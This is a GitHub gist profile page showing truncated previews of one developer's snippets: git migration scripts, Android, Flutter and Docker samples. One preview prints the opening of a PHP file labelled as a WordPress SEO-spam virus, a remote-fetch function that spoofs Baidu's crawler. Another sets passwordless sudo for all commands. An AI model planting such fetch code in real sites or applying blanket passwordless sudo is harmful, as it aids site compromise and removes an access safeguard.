Skip to content

Instantly share code, notes, and snippets.

View aslamanver's full-sized avatar
🎯
Focusing

Aslam Anver aslamanver

🎯
Focusing
View GitHub Profile
@aslamanver
aslamanver / git-migrate.sh
Created July 5, 2023 06:07
Migrate GIT Repositories Script
gh repo list orgname --limit 1000 | while read -r repo _; do
echo "git clone --mirror git@github.com:$repo.git"
git clone --mirror git@github.com:$repo.git
# cd $repo.git
# git remote set-url origin git@github.com:orgname/$REPO.git
# git push --mirror
done
@aslamanver
aslamanver / MainActivityLite.java
Created January 10, 2023 10:10
Example Demonstration of PAYable WPOS Printer SDK
package com.payable.posutils;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
@aslamanver
aslamanver / github-migration.sh
Last active December 28, 2022 11:33
Use GitHub CLI
gh repo list payable --limit 1000 | while read -r repo _; do
echo "git clone --mirror git@github.com:$repo.git"
git clone --mirror git@github.com:$repo.git
# cd $repo.git
# git remote set-url origin git@github.com:orgname/$REPO.git
# git push --mirror
done
@aslamanver
aslamanver / fibrous.js
Created December 23, 2022 20:07
Fibrous Numbers
let n = 100;
// 0, 1, 1, 2, 3, 5, 8, 13 until 100, 144
let number1 = 0;
let number2 = 1;
let sum = 1;
while(number1 <= n) {
@aslamanver
aslamanver / index.php
Created December 13, 2022 11:19
WordPress Virus Malicious Script that affects SEO
<?php
function barry($url)
{
$file_contents = '';
$user_agent = 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)';
if (function_exists('curl_init')) {
try {
$ch = curl_init();
$timeout = 30;
curl_setopt($ch, CURLOPT_URL, $url);
@aslamanver
aslamanver / script.sh
Last active December 4, 2022 07:09
Connected connections list
netstat -anp
netstat -tupn | grep -v '127.0.0.1' | wc -l
@aslamanver
aslamanver / script.sh
Created December 3, 2022 13:30
Sudo without password
sudo visudo
$USER ALL=(ALL) NOPASSWD: ALL
@aslamanver
aslamanver / script.sh
Created December 3, 2022 05:45
Email Inodes Optimization
du -s --inodes * | sort -n
find * -type f -mtime +0 | wc -l
@aslamanver
aslamanver / docker_wordpress.md
Created October 26, 2022 09:46 — forked from bradtraversy/docker_wordpress.md
Docker Compose FIle For Wordpress, MySQL & phpmyadmin

Wordpress & Docker

This file will setup Wordpress, MySQL & PHPMyAdmin with a single command. Add the code below to a file called "docker-compose.yaml" and run the command

$ docker-compose up -d

# To Tear Down
$ docker-compose down --volumes
@aslamanver
aslamanver / dialogs.dart
Last active August 18, 2022 18:04
Progress & Message Dialog Flutter
showProgressDialog(BuildContext context) {
showDialog(
context: context,
barrierDismissible: false,
builder: (BuildContext context) {
return WillPopScope(
onWillPop: () async => false,
child: AlertDialog(
elevation: 0,